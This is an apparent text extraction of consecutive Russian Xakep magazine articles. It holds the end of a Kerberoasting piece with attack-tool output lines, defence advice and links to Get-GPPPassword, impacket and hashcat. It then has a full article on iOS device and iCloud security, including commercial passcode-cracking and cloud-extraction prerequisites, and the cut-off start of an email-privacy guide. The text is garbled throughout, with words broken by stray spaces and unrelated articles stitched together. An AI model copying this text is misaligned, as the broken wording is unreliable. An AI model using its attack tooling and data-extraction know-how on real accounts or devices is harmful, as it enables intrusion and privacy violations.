[*] Removing service QclS.....
[*] Removing file hPUtqrwN.exe.....

Тро фей

ЗАЩИТА
Что  делать,  что бы  такого  не  про изош ло  с  тво им  нас тоящим  кон трол лером
домена? К сожале нию, век тор, по которо му осу щест вля ется ата ка Kerberoast‐
ing,  исполь зует  уяз вимость  самой  архи тек туры  про токо ла Kerberos,  поэто му
наилуч шая  мера  защиты  от  атак  подоб ного  типа  —  исполь зовать  слож ные
пароли для слу жеб ных учет ных записей, свя зан ных с Kerberos и SPN. Кро ме
того,  нелиш ним  будет  скон фигури ровать  все  сер висы  без  исполь зования
учет ных записей с рас ширен ными при виле гиями.

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1
http://obscuresecurity.blogspot.com/2013/07/get-gpppassword.html
https://support.microsoft.com/en-gb/help/305144/how-to-use-useraccountcontrol-to-manipulate-user-account-properties
https://github.com/SecureAuthCorp/impacket
https://www.sans.org/cyber-security-summit/archives/file/summit_archive_1493862736.pdf
https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
https://www.scip.ch/en/?labs.20181011
https://github.com/hashcat/hashcat
https://github.com/magnumripper/JohnTheRipper
https://hashcat.net/wiki/doku.php?id=example_hashes
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ПРИВАТНОСТЬ

Мы мно го писали о безопас ности мобиль‐ 
ной  ОС  Apple  и  о  том,  как  отдель ные  уяз‐ 
вимос ти  сис темы  мож но  исполь зовать
для  дос тупа  к  информа ции.  И  в  каж дой
такой  статье  зву чала  мысль:  нес мотря
на  отдель ные  недос татки,  iOS  у  Apple
получи лась  гра мот но  спро екти рован ной
и  хорошо  защищен ной  ОС.  Сегод ня  мы
перевер нем  твой  мир  с  ног  на  голову
утвер жде нием,  что  iOS  —  наиме нее
безопас ная  из  всех  мобиль ных  сис тем
на рын ке.

Ска жу откро вен но: мне нра вит ся под ход Apple к обес печению безопас ности.
Мне  извес тно  о  сла бос тях  и  уяз вимос тях  iOS  (они  устра няют ся  с  каж дым
обновле нием)  и  отлично  вид ны  сла бос ти  архи тек туры  безопас ности,  выз‐ 
ванные желани ем ком пании уго дить широко му кру гу пот ребите лей. Да, Apple
мож но было бы пох валить за  тща тель но про думан ный и  качес твен но реали‐ 
зован ный под ход к безопас ности.

Мож но было бы, если бы не одно «но»: iPhone — самое популяр ное в мире
устрой ство. Да, мы пом ним, что смар тфо нов с Android на руках у поль зовате‐ 
лей гораз до боль ше, но моделей с Android — десят ки тысяч, а iPhone — еди‐ 
ницы.  Популяр ность  сыг рала  с  Apple  злую шут ку:  устрой ства ми  с  iOS  ста ли
занимать ся  бук валь но  все  заин тересо ван ные  сто роны,  не  жалея  вре мени
и  денег.  В  резуль тате  на  сегод няшний  день  ситу ация  сло жилась  весь ма
и весь ма инте рес ная:  iOS счи тает ся безопас ной, но заин тересо ван ные сто‐ 
роны  при  соб людении  некото рых  усло вий  могут  получить  пол ный  дос туп
к дан ным.

ФИЗИЧЕСКАЯ БЕЗОПАСНОСТЬ УСТРОЙСТВ IOS
1. Все  сов ремен ные,  не  очень  сов ремен ные  и  откро вен но  уста рев шие
iPhone  и  iPad  при меня ют  стой кое шиф рование  накопи теля.  Любые  ата ки
методом  извле чения  мик росхе мы  памяти  заведо мо  обре чены  (это  дей‐ 
стви тель но так; дан ный век тор ата ки стал бес полезен мно го лет назад).

2. В iOS пре дус мотре на (и дей стви тель но работа ет) сис тема защиты дан ных
в  слу чае  кра жи  или  потери  устрой ства. Дос тупны механиз мы  уда лен ного
сти рания  и  бло киров ки  устрой ства.  Укра ден ное  устрой ство  невоз можно
будет  раз бло киро вать  и  переп родать,  если  зло умыш ленни ку  неиз вес тны
пароль  на  устрой ство  (код  бло киров ки  экра на)  или  пароль  от  учет ной
записи Apple ID вла дель ца (тре бует ся одно из двух).

3. Мно гоуров невое  шиф рование  дан ных  «из  короб ки»  иде аль но  спро екти‐ 
рова но и реали зова но. Поль зователь ские дан ные зашиф рованы всег да —
за ред кими исклю чени ями в виде фай лов и баз дан ных, необ ходимых, что‐ 
бы  телефон  при нимал  звон ки  сра зу  пос ле  перезаг рузки.  В  iOS  исполь‐ 
зует ся фай ловая сис тема APFS. Каж дый файл зашиф рован сво им клю чом,
который будет унич тожен при уда лении фай ла. В резуль тате вос ста новить
уда лен ные фай лы  ста новит ся  в  прин ципе  невоз можно.  Клю чи  защище ны
выделен ным  соп роцес сором,  вхо дящим  в  сис тему  Secure  Enclave,
и  извлечь  их  отту да  нель зя  даже  пос ле  взло ма  устрой ства.  Дан ные
при вклю чении телефо на оста ются зашиф рован ными, пока не будет вве‐ 
ден пра виль ный пароль, раз бло киру ющий экран.

4. Мно гоуров невое  шиф рование  озна чает,  в  час тнос ти,  то,  что  некото рые
дан ные  (нап ример,  пароли  к  веб‐сай там,  ска чан ная  на  устрой ство  элек‐ 
трон ная  поч та)  допол нитель но  защище ны:  они  хра нят ся  в  виде  зашиф‐ 
рован ных записей в базе дан ных связ ки клю чей  iCloud Keychain (которая,
в  свою  оче редь,  зашиф рована  при  помощи  пофай лового  шиф рования
вмес те с осталь ными фай лами на поль зователь ском раз деле).

5. Нель зя прос то под клю чить  к  компь юте ру  iPhone и  ска чать  с  него дан ные
(кро ме  фотог рафий).  В  iOS  пре дус мотре на  воз можность  уста нов ления
довери тель ных  отно шений  с  компь юте рами.  При  этом  соз дает ся  пара
крип тогра фичес ких клю чей, поз воля ющих доверен ному компь юте ру обме‐ 
нивать ся  информа цией  и  соз давать  резер вные  копии  устрой ства.
Для уста нов ления довери тель ных отно шений с компь юте ром iPhone необ‐ 
ходимо раз бло киро вать и ввес ти код бло киров ки.

6. До пол нитель ной  сте пенью  защиты от  под клю чения  к  неав торизо ван ному
компь юте ру  устрой ства  (начиная  с  iOS  11.4.1)  явля ется  бло киров ка
переда чи  дан ных  через  USB‐порт  сра зу  пос ле  того,  как  экран  телефо на
был  вык лючен,  если  устрой ство  недав но  не  под клю чалось  к  компь юте ру
или  аксессу ару.  Режим  USB  Restricted  Mode  опци она лен,  но  вклю чен
по умол чанию. Кста ти, появил ся этот режим для про тиво дей ствия перебо‐ 
ру паролей решени ями GrayKey и Cellebrite.

7. Бе зопас ность резер вных копий обес печива ется воз можностью уста новить
слож ный  пароль  (пароль  тре бует ся  исклю читель но  для  вос ста нов ления
дан ных  из  резер вной  копии,  поэто му  в  режиме  пов седнев ного  исполь‐ 
зования  мешать  не  будет).  Шиф рование  локаль ных  резер вных  копий
исклю читель но стой кое, перебор паролей — очень мед ленный. В ста рых
вер сиях  iOS эта  защита была абсо лют ной;  начиная с  iOS 11 этот пароль
мож но сбро сить, ука зав код бло киров ки экра на.

8. Для  раз бло киров ки  мож но  исполь зовать  как  стан дар тный  PIN‐код
из  четырех или шес ти цифр,  так и более слож ный пароль. Единс твен ный
допол нитель ный спо соб раз бло киро вания устрой ства — биомет ричес кий
(отпе чаток паль ца Touch ID или Face ID). При этом реали зация биомет рики
такова,  что  чис ло  попыток  будет  огра ниче но.  Дан ные  отпе чат ка  зашиф‐ 
рованы  и  будут  уда лены  из  опе ратив ной  памяти  устрой ства  пос ле  вык‐ 
лючения  или  перезаг рузки  (а  так же  пос ле  вхо да  в  режим  SOS);  через
некото рое  вре мя,  если  устрой ство  ни  разу  не  раз бло киро валось;  пос ле
пяти  неудач ных  попыток;  через  некото рое  вре мя,  если  поль зователь
ни разу не вво дил пароль для раз бло киров ки устрой ства.

В Apple спро екти рова ли и реали зова ли дос таточ но логич ную и всес торон нюю
архи тек туру  безопас ности.  Одна ко  физичес кая  безопас ность  iPhone  в  нас‐ 
тоящий момент близ ка к нулю. Перечис лим основные момен ты, которые нам
не нра вят ся.
1. В Apple при дают исклю читель ное зна чение коду бло киров ки экра на. Зная
толь ко и исклю читель но код бло киров ки, с  устрой ством и дан ными поль‐ 
зовате ля мож но про делать решитель но всё: под клю чить к новому компь‐ 
юте ру, сбро сить пароль от резер вной копии, сбро сить и изме нить пароль
от  учет ной  записи  Apple  ID,  сме нить  средс тва  двух фактор ной  аутен‐ 
тифика ции, отвя зать телефон от сер виса Find My iPhone и снять бло киров‐ 
ку  iCloud.  В  дан ном  слу чае  в  Apple  сло жили  все  до  еди ного  яйца  в  одну
кор зину; в качес тве единс твен ной защиты выс тупа ет код бло киров ки, толь‐ 
ко код бло киров ки и ничего, кро ме кода бло киров ки экра на.

2. На рын ке  сущес тву ет  по  край ней мере два решения  (ком паний Cellebrite
и GrayShift), которые поз воля ют подоб рать код бло киров ки и извлечь дан‐ 
ные из iPhone любой модели, работа юще го на акту аль ной или более ста‐ 
рой  вер сии  iOS  (на момент  написа ния  статьи  это  акту аль ная  вер сия  iOS
12.3.1). И если для вык лючен ного устрой ства пот ребу ется перебор кодов
бло киров ки  (он  мед ленный,  до  десяти  минут  на  попыт ку,  что  дает  мак‐ 
сималь ный срок перебо ра девят надцать лет для все го прос транс тва шес‐ 
тизнач ных  циф ровых  паролей),  то  для  устрой ств,  которые  были  раз бло‐ 
киро ваны хотя бы раз пос ле заг рузки (а это боль шая часть устрой ств, кон‐ 
фиско ван ных  полици ей),  дан ные  извле кают ся  сра зу,  а  перебор  паролей
очень быс трый (приб лизитель но за 20–30 минут переби рает ся все прос‐ 
транс тво  паролей  из  четырех  цифр).  Пос ле  раз бло киров ки  из  телефо на
извле кает ся  абсо лют но  вся  информа ция  вплоть  до  зашиф рован ных
записей  из  связ ки  клю чей  (а  это  все  сох ранен ные  пароли  поль зовате ля
из бра узе ра Safari и сто рон них при ложе ний).

3. Ус трой ства  и  услу ги  по  взло му  паролей  и  извле чению  дан ных  из  заб‐ 
локиро ван ных  iPhone  дос тупны  исклю читель но  государс твен ным  и  пра‐ 
воох ранитель ным орга нам,  при чем далеко не для  каж дой стра ны. К  при‐ 
меру,  в  США,  Канаде,  Изра иле,  стра нах  Евро пы  эти  решения  пра воох‐ 
ранитель ным орга нам дос тупны, а в Рос сии и Китае — нет.

Ре зуль тат инте рес ный и неод нознач ный: мощ ная, всес торон не про думан ная
архи тек тура  безопас ности  соседс тву ет  с  ущер бной  физичес кой  безопас‐ 
ностью. Дан ные могут быть извле чены из любого iPhone, воп рос лишь в дос‐ 
тупнос ти  спец средств  и  сос тоянии  устрой ства  (получе но  в  лабора тории
в вык лючен ном виде или же было раз бло киро вано поль зовате лем хотя бы раз
с момен та вклю чения). В Apple прек расно осве дом лены о решени ях Cellebrite
и  GrayShift  и  попыта лись  про тиво дей ство вать  им,  добавив  режим  USB  Re‐
stricted  Mode,  отклю чающий  переда чу  дан ных  через  USB  сра зу  пос ле  бло‐ 
киров ки  экра на  устрой ства.  Но  он  не  стал  прин ципи аль ным  пре пятс тви ем
для взло ма iPhone.

Ра зуме ется, все может изме нить ся с выходом iOS 13, а новое аппа рат ное
обес печение  (11‐е  поколе ние  iPhone)  навер няка  сде лает  невоз можным
исполь зуемые в нас тоящий момент под ходы. Рас простра нение спец средств
для  взло ма  паролей  и  извле чения  дан ных  из  iPhone  тща тель но  кон тро лиру‐ 
ется  ком пани ями  —  раз работ чиками  Cellebrite  и  GrayShift,  работа ющи ми
исклю читель но  с  пра воох ранитель ными  орга нами  избран ных  государств,
в чис ло которых Рос сия не вхо дит. А пока сде лаем осто рож ный вывод: мож но
про дол жать  поль зовать ся  устрой ства ми  Apple,  которые  надеж но  защища ют
дан ные от зло умыш ленни ков — но не от полиции и спец служб США, Канады,
стран ЕС или Изра иля.

ОБЛАЧНАЯ БЕЗОПАСНОСТЬ IOS
С  воп росом  физичес кой  безопас ности  устрой ств  с  iOS  мы  разоб рались.
А как обсто ят дела со слеж кой за поль зовате лем и с утеч ками дан ных?

В  iOS  есть  отклю чаемая  син хро низа ция  с  обла ком  через  собс твен ный
сер вис Apple iCloud. В час тнос ти, в iCloud могут сох ранять ся:
1. Ре зер вные копии устрой ства (фак тичес ки исполь зует ся дос таточ но ред ко
из‐за чрез вычай ной ску пос ти Apple, выделя ющей поль зовате лям не самых
дешевых смар тфо нов все го 5 Гбайт сво бод ного мес та в обла ке iCloud).

2. Син хро низи рован ные дан ные — жур нал звон ков, замет ки, кален дари, поч‐ 
та.

3. Син хро низи рован ные дан ные с допол нитель ным шиф ровани ем  (для дос‐ 
тупа тре бует ся как логин и пароль от Apple ID, так и вто рой фак тор аутен‐ 
тифика ции  и  —  обя затель но!  —  код  бло киров ки  устрой ства).  Сюда
попада ют  пароли  из  облачной  связ ки  клю чей  iCloud  Keychain,  дан ные
«Здо ровья», сооб щения в iCloud (SMS, iMessage). Обра ти вни мание: дан‐ 
ные  из  это го  спис ка  не  будут  выданы  ком пани ей  Apple  по  зап росу  пра‐ 
воох ранитель ных орга нов.

4. От кры тые вклад ки  (без огра ниче ния по вре мени; лишь в  iOS 13 появит ся
режим,  огра ничи вающий  вре мя  жиз ни  откры тых  вкла док)  и  исто рия
посеще ния ресур сов в бра узе ре Safari за пос ледние 30 дней.

5. Фо тог рафии и видео, если вклю чена облачная биб лиоте ка iCloud Photos.
6. Дан ные при ложе ний, раз работ чики которых исполь зуют iCloud Drive.

Все виды облачной син хро низа ции поль зователь  iOS может отклю чить, вык‐ 
лючив  iCloud  и  деак тивиро вав  iCloud  Drive.  Пос ле  это го  дан ные  не  будут
переда вать ся  на  сер веры  Apple.  Нес мотря  на  то  что  некото рые  механиз мы
работа ют не слиш ком инту итив но (как при мер — для вык лючения син хро низа‐ 
ции звон ков нуж но отклю чать iCloud Drive, пред назна чен ный для син хро низа‐ 
ции фай лов и фотог рафий), пол ное вык лючение облачных сер висов син хро‐ 
низа цию пол ностью отклю чает.

В iOS пре дус мотрен механизм для пре дот вра щения отсле жива ния устрой‐ 
ств (сис тема может пред став лять внеш нему миру слу чай ные иден тифика торы
модулей Wi‐Fi и Bluetooth вмес то фик сирован ных нас тоящих).

Нас коль ко безопас но хра нить дан ные в iCloud? Здесь нуж но отме тить, что
Apple исполь зует для хра нения поль зователь ских дан ных сто рон ние сер висы
(Microsoft,  Amazon,  Google,  AT&T,  а  так же  сер веры,  кон тро лиру емые  пра‐ 
витель ством Китая). Озна чает ли это, что Microsoft, Amazon и далее по спис ку
могут  получить  дос туп  к  этим  дан ным?  Нет:  все  дан ные  раз биты  на  бло ки,
а  каж дый  блок  зашиф рован  собс твен ным  уни каль ным  клю чом,  который
физичес ки хра нит ся на сер верах Apple в Купер тино. Соот ветс твен но, прос то
получить  дос туп  к  бло кам  на  сер вере  Amazon  или  Google  недос таточ но  —
нуж но еще и извлечь клю чи шиф рования, которые хра нят ся сов сем в дру гом
мес те.  В  то  же  вре мя  дос туп  к  этим  клю чам  может  получить  как  сама  ком‐ 
пания Apple, так и третьи лица, которые смог ли зай ти в учет ную запись поль‐ 
зовате ля.

В зависи мос ти от того, кто пыта ется получить дан ные и что ему извес тно
о поль зовате ле, мож но сфор мулиро вать сле дующие пра вила.

Для резер вных копий iCloud Backups, фотог рафий, а так же всех видов син‐ 
хро низи рован ных  дан ных,  за  исклю чени ем  катего рии  «Син хро низи рован ные
дан ные  с  допол нитель ным  шиф ровани ем»:  для  дос тупа  дос таточ но  знать
логин и пароль поль зовате ля. Если учет ная запись защище на по методу двух‐ 
фактор ной аутен тифика ции, так же необ ходим дос туп ко вто рому фак тору (это
тре бова ние  мож но  обой ти,  если  под клю чать ся  к  син хро низи рован ным  дан‐ 
ным с компь юте ра поль зовате ля,  где уста нов лено при ложе ние  iCloud). Пра‐ 
воох ранитель ные  орга ны  могут  получить  эти  дан ные,  отпра вив  зап рос
в Apple.  Зап рос  дол жен  соп ровож дать ся  соот ветс тву ющим пос танов лени ем
суда  (для  Китая  дей ству ют  упро щен ные  пра вила,  ког да  дос таточ но  прос то
тре бова ния полиции).

Для  катего рии  «Син хро низи рован ные  дан ные  с  допол нитель ным  шиф‐ 
ровани ем»  (пароли  из  облачной  связ ки  клю чей,  дан ные  «Здо ровья»,  сооб‐ 
щения SMS/iMessage, син хро низи рован ные в обла ко): дос тупа к этим дан ным
нет ни у полиции, ни у самой ком пании Apple. Эти дан ные не будут пре дос‐ 
тавле ны по зап росу пра воох ранитель ных орга нов. Тем не менее дос туп к ним
получить  все‐таки  мож но,  если  дос тупен  пол ный  набор  из  сле дующих  фак‐ 
торов: логин и пароль к Apple ID; вто рой фак тор аутен тифика ции (к при меру,
SIM‐кар та с доверен ным телефон ным номером или одно из устрой ств поль‐ 
зовате ля, при вязан ных к  той же учет ной записи, в раз бло киро ван ном виде);
код бло киров ки экра на (iPhone, iPad, iPod Touch) или сис темный пароль (Mac)
одно го  из  устрой ств  поль зовате ля,  при вязан ных  к  той  же  учет ной  записи
Apple.

АНАЛИЗ МОДЕЛИ БЕЗОПАСНОСТИ APPLE НА ПРИМЕРЕ
КАТЕГОРИИ «СООБЩЕНИЯ»
Рас смот рим модель безопас ности Apple нем ного под робнее, взяв для при‐ 
мера такую катего рию дан ных, как сооб щения (Messages).

С момен та появ ления сооб щения iMessage были для Apple одной из клю‐ 
чевых  воз можнос тей  iOS. Сквоз ное шиф рование,  отсутс твие  облачной  син‐ 
хро низа ции, исклю читель но локаль ный дос туп дол гое вре мя оста вались отли‐ 
читель ными чер тами сис темы. В сов ремен ных вер сиях iOS сооб щения, вклю‐ 
чая iMessage, могут быть син хро низи рова ны с обла ком.

Фи зичес кая безопас ность сооб щений обес печива ется  теми же механиз‐ 
мами,  что  и  безопас ность  основно го мас сива  дан ных  в  iPhone. Сооб щения
в самом iPhone хра нят ся в обыч ной базе дан ных без допол нитель ного шиф‐ 
рования. Точ нее говоря, Apple полага ется на шиф рование средс тва ми фай‐ 
ловой сис темы и толь ко на него. Учи тывая опи сан ные ранее методы взло ма
кода бло киров ки и извле чения дан ных, мож но ска зать, что для всех моделей
iPhone и всех акту аль ных вер сий iOS сущес тву ют методы, поз воля ющие рано
или поз дно получить дос туп к сооб щени ям, если на руках у экспер та находит‐ 
ся iPhone поль зовате ля.

В отли чие от Android,  iOS ни при каких обсто ятель ствах не пре дос тавля ет
дос тупа  к  сооб щени ям  никаким  сто рон ним  при ложе ниям.  Соот ветс твен но,
никакое злов редное ПО не смо жет про читать или перех ватить сооб щения.

В  iOS  пре дус мотрен  механизм  резер вно го  копиро вания.  Поль зователь
может  соз дать  резер вную  копию  сво его  iPhone  на  компь юте ре,  вос поль‐ 
зовав шись  при ложе нием  Apple  iTunes.  Резер вная  копия  может  быть
как  защище на  паролем,  так  и  не  защище на.  Если  у  экспер та  есть  дос туп
к такой резер вной копии (или он может соз дать резер вную копию, вос поль‐ 
зовав шись, к при меру, записью lockdown, извле чен ной из компь юте ра поль‐ 
зовате ля),  то  воз можность  дос тупа  к  сооб щени ям  лежит  лишь  в  плос кости
рас шифров ки  резер вной  копии.  Напом ним:  неиз вес тный  экспер ту  пароль,
если  он  был  уста нов лен,  может  быть  сбро шен  на  самом  iPhone  (для  это го
нуж но знать  код бло киров ки  устрой ства) или вос ста нов лен дос таточ но мед‐ 
ленной ата кой (резуль тат не гаран тирован).

Син хро низа ция сооб щений появи лась в iOS отно ситель но недав но, одна‐ 
ко  в  обла ко  сооб щения  попада ли  и  рань ше.  Если  в  iCloud  есть  резер вная
копия  устрой ства,  то  в  ней  могут  при сутс тво вать  и  сооб щения  (если  поль‐ 
зователь не вклю чил режим облачных сооб щений; об этом ниже). О защите
резер вных  копий  в  обла ке  мы  уже  рас ска зали:  зашиф рован ные  бло ки,
которые  хра нят ся  на  сер верах  сто рон них  ком паний,  и  клю чи  шиф рования,
которые лежат на сер верах Apple. Если извес тны логин и пароль от обла ка (и
есть  дос туп  ко  вто рому  фак тору  аутен тифика ции),  то  резер вная  копия
успешно ска чива ется, а сооб щения из нее извле кают ся.

На конец, поль зователь может вклю чить режим облачных сооб щений.

Он дос тупен толь ко для учет ных записей с двух фактор ной аутен тифика цией.
Теперь  все  сооб щения  в  обла ке  будут  допол нитель но  зашиф рованы  пос‐ 
редс твом  клю ча  шиф рования  из  облачной  связ ки  клю чей,  которая,  в  свою
оче редь,  зашиф рована  клю чом,  перешиф рован ным  на  осно ве  кода  бло‐ 
киров ки  экра на  или  сис темно го  пароля  одно го  из  уже  зарегис три рован ных
в  учет ной записи устрой ств. Теперь сооб щения в обла ке ста новят ся недос‐ 
тупны ми как самой ком пании Apple, так и пра воох ранитель ным орга нам: они
не будут выданы по зап росу.

От дель но  отме тим,  что  при  вклю чении  режима  облачной  син хро низа ции
сооб щений в резер вную копию они боль ше не попада ют (то же отно сит ся и к
фотог рафи ям).  Тем  не  менее  если  в  рас поряже нии  экспер та  есть  логин
и пароль от Apple  ID и вто рой фак тор аутен тифика ции, а так же известен код
бло киров ки iPhone или сис темный пароль к компь юте ру Mac поль зовате ля, то
сооб щения мож но успешно извлечь из обла ка при помощи Elcomsoft Phone
Breaker.

IOS И ЗЛОВРЕДНОЕ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ
Не мало важ ный  фак тор,  вли яющий  на  общую  безопас ность  эко сис темы,  —
защита  от  злов редно го  прог рам мно го  обес печения. В  iOS  с  такой  защитой
дело обсто ит очень хорошо: Apple кон тро лиру ет при ложе ния, которые могут
быть  уста нов лены  на  iPhone.  Обыч ные  поль зовате ли  могут  уста нав ливать
при ложе ния  исклю читель но  из  куриру емо го  Apple  магази на  App  Store,
в  который  злов редное ПО может  попасть  в  исклю читель ных  еди нич ных  слу‐ 
чаях  и  очень  ненадол го.  Уста нов ка  из  незави симых  источни ков  воз можна,
но дос тупна толь ко раз работ чикам, кор поратив ным поль зовате лям и отдель‐ 
ным хорошо раз бира ющим ся в тех нике энту зиас там.

Ес ли злов редное при ложе ние все же про ник нет в сис тему, боль шого вре‐ 
да оно при чинить не смо жет: в iOS каж дое при ложе ние надеж но изо лиро вано
как  от  самой  сис темы,  так  и  от  дру гих  при ложе ний  с  помощью  песоч ницы,
а дос тупа, нап ример, к сооб щени ям (SMS/iMessage) у сто рон них при ложе ний
нет прин ципи аль но.

Ши рокую извес тность получил слу чай зараже ния ряда китай ских при ‐
ложе ний, вклю чая популяр ней ший в Китае WeChat, злов редным
ПО XcodeGhost

Нуж но отме тить, что в  iOS реали зован гра нуляр ный кон троль за раз решени‐ 
ями  при ложе ний. Мож но  по  отдель нос ти  раз решить  или  зап ретить  каж дому
при ложе нию такие вещи, как воз можность работы в фоновом режиме, дос туп
к  мес тополо жению,  камере.  Наличие  этих  нас тро ек  поз воля ет  эффектив но
огра ничи вать слеж ку со сто роны при ложе ний, которые сде лали такую слеж ку
сво им  основным  биз несом  (это  каса ется  и  при ложе ний  клас са  Facebook,
и  игр  наподо бие  Angry  Birds).  В  iOS  13  появит ся  допол нитель ная  воз‐ 
можность,  поз воля ющая  как  огра ничи вать  дос туп  при ложе ний  к мес тополо‐ 
жению  поль зовате ля,  так  и  уви деть,  какие  дан ные  о  мес тополо жении  при‐ 
ложе ние уже успе ло соб рать.

На конец, Apple регуляр но обновля ет iOS даже на ста рых устрой ствах, опе‐ 
ратив но исправ ляя най ден ные уяз вимос ти. При этом обновле ния ста новят ся
дос тупны одновре мен но всем поль зовате лям.

ЗАЩИТА ОТ АТАК MITM (MAN IN THE MIDDLE)
iOS,  начиная  с  9‐й  вер сии,  защище на  и  от  атак  клас са  man  in  the  middle
с перех ватом и под меной сер тифика та. И если в нашей лабора тории получи‐ 
лось  иссле довать  про токол  резер вных  копий  iCloud  в  8‐й  вер сии  iOS,  то
в более новых ОС это сде лать не уда лось по тех ничес ким при чинам.

ВЫВОДЫ
Из‐за широко го рас простра нения и огра ничен ной номен кла туры смар тфо ны
Apple  и  опе раци онная  сис тема  iOS  находят ся  в фокусе  вни мания  как  спец‐ 
служб, так и незави симых иссле дова телей безопас ности. Это при вело к появ‐ 
лению дос тупных для полиции ряда государств тех ничес ких средств, поз воля‐ 
ющих взло мать код бло киров ки iPhone, а в ряде слу чаев — и получить дос туп
к дан ным даже без кода бло киров ки. Облачная син хро низа ция реали зова на
прак тичес ки иде аль но. Тем не менее боль шая часть дан ных дос тупна как ком‐ 
пании Apple, так и полиции по офи циаль ному зап росу.

Ог раничен ное чис ло катего рий дан ных защище но допол нитель ным уров‐ 
нем шиф рования и не выда ется по зап росу, одна ко даже их мож но извлечь,
если  извес тны  логин  и  пароль  от  Apple  ID,  есть  дос туп  ко  вто рому фак тору
аутен тифика ции и известен код бло киров ки одно го из устрой ств поль зовате‐ 
ля.  Защита  от  слеж ки  и  злов редно го  ПО  находит ся  на  мак сималь но  воз‐ 
можном для пот ребитель ских устрой ств уров не.
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ПРИВАТНОСТЬ

Есть  такая  занят ная  шту ка  —  тай на
перепис ки. Прав да, широко извес тно о ней
лишь  в  очень  узких  кру гах  ано ниму сов.
По  край ней  мере,  пра витель ства  и  спец‐ 
служ бы  о  ней  слы хом  не  слы хива ли,  да  и
некото рые  ком мерсан ты  очень  любят
сунуть  свой  любопыт ный  нос  в  чужой  поч‐ 
товый  ящик:  а  вдруг  удас тся  раз нюхать
что‐то  о  пред почте ниях  або нен та  и  прис‐ 
лать  ему  еще  нем ного  бес полез ной  рек‐ 
ламы?  Сегод ня  мы  погово рим  о  том,
как  защитить  свою  элек трон ную  поч ту
от пос торон него назой ливого вни мания.

Спра воч ник ано нима
Статьи  из  это го  цик ла  пуб лику ются  бес плат но  и  дос тупны  всем.  Мы  убеж‐ 
дены, что каж дый име ет пра во на базовые зна ния о защите сво их дан ных.

Дру гие статьи цик ла:
« »;• Ви ды шиф рования и защиты тра фика, выбор соф та
« »;• Де лаем шпи онскую флеш ку с защищен ной опе раци онкой Tails
« ».• Как шиф ровать перепис ку в Jabber: пошаго вая инс трук ция

Ес ли для тебя эти матери алы три виаль ны — отлично! Но ты сде лаешь доб рое
дело,  отпра вив  ссыл ку  на  них  сво им  друзь ям,  зна комым  и  родс твен никам,
менее под кован ным в тех ничес ких воп росах.

ЗАЩИТА ЭЛЕКТРОННОЙ ПОЧТЫ
Су щес тву ет  куча  сай тов  и  сер висов,  клят венно  обе щающих  обе регать  при‐ 
ват ность сво их поль зовате лей от любых попол зно вений. Прав да, зачас тую —
толь ко на сло вах. Нап ример, сер вис защищен ной поч ты ProtonMail уже неод‐ 
нократ но  обви няли  в  том,  что  он  помога ет  пра воох раните лям  и  сли вает
информа цию о сво их поль зовате лях в чужие руки (  — в 2018 году,

 — сов сем недав но). Руководс тво поч товика вся кий раз находи ло себе
оправда ния,  но дыма без огня,  как  говорит ся,  не быва ет. Зна чит,  о  при ват‐ 
ности и ано ним ности нуж но побес поко ить ся самому,  не полага ясь на  чужих
дяденек и тетенек. Что для это го нуж но? А вот пря мо сей час и раз берем ся.

пер вый раз
вто рой

Как  всег да,  в  этой  замет ке  будет  необ ходимая  часть  теории,  а  пос ле  я
рас ска жу о некото рых при ложе ниях и объ ясню, для чего они нуж ны и как ими
поль зовать ся.  Если,  конеч но,  ты  не  пом решь  от  тос ки,  изу чая  пер вую  часть
опу са. Пог нали?

(НЕ)СКУЧНАЯ ТЕОРИЯ
Да же малень кий ребенок, толь ко вый дя из пеленок, уже прек расно осве дом‐ 
лен о том, что вин да с точ ки зре ния надеж ности хра нения пер сональ ных дан‐ 
ных  напоми нает  решето.  Поэто му,  если  у  тебя  нет  воз можнос ти  нав сегда
изба вить ся от это го поделия прог раммис тов из Ред монда (ина че на чем мы
будем  запус кать  любимые  игрушки?),  сис тему  нуж но  пра виль но  нас тро ить,
нав сегда отбив ей охо ту переда вать что попало куда не надо. Гра мот ная нас‐ 
трой ка Windows — тема отдель ного раз говора, и к ней мы ког да‐нибудь обя‐ 
затель но вер немся, а сей час речь о дру гом.

Пос ле  того  как  мы  уста новим  безопас ную ОС,  которая  не  рас ска зыва ет
сво им соз дателям о каж дом нашем шаге, нуж но задумать ся о свя зи с внеш‐ 
ним миром. Самый древ ний и рас простра нен ный спо соб такой свя зи пос ле
голуби ной поч ты — поч та элек трон ная. Обой тись без нее неп росто: было бы,
конеч но, неп лохо, если бы все воз можные роботы отсы лали нам под твержде‐ 
ния  о  регис тра ции  куда‐нибудь  в  зап рещен ный  телег рамчик,  но  они
почему‐то пред почита ют делать это «мылом», буд то в камен ном веке.

Нуж но понимать, что если сер вер элек трон ной поч ты не при над лежит тебе
лич но,  не  сто ит  на  тво их  антре солях  рядом  с  бабуш киными  калоша ми
и короб кой дедуш киных таб леток от мете ориз ма и на нем ко все му про чему
не кру тит ся ПО с откры тыми исходни ками, то нет никакой гаран тии, что твою
перепис ку не  чита ет  товарищ май ор или не филь тру ет по  клю чевым сло вам
спе циаль но обу чен ный робот. При том что заяв ления ком пании — вла дель ца
сер вака  о  ее  чес тнос ти,  белиз не  и  пушис тости  ты  при  всем  желании  никак
не смо жешь про верить.

Да же если поч товый сер вис шиф рует твои дан ные на лету пря мо в бра узе‐ 
ре,  алго ритм  шиф рования  все  рав но  заг ружа ется  с  сер вера.  Как  ты  про‐ 
веришь кор рек тность это го самого алго рит ма вся кий раз, ког да отправ ляешь
пись мо?  Вывод:  кому  бы  поч товый  сер вис  ни  при над лежал,  безус ловно
доверять ему свои пись ма мы не можем. Из это го сле дует, что обя зан ность
шиф ровать пись ма лежит на нас самих.

INFO

Тре бова ние к любому при ложе нию, которое опе‐ 
риру ет  тво ими  дан ными  или  отве чает  за  их
защиту,  всег да  одно:  исходный  код  это го  при‐ 
ложе ния  дол жен  быть  открыт.  Это  тот  необ‐ 
ходимый  минимум,  который  может  обес печить
защиту от зак ладок и недоку мен тирован ных воз‐ 
можнос тей.  Все  при ложе ния  и  пла гины,  пред‐ 
став ленные  в  статье,  обла дают  откры тым
исходным кодом.

Мож но отправ лять‐получать поч ту через веб‐интерфейс, но в этом слу чае ты
лиша ешь ся  удо воль ствия  исполь зовать  про верен ные  сто рон ние  пла гины
с  откры тым  исходным  кодом,  пред назна чен ные  для  обес печения  при ват‐ 
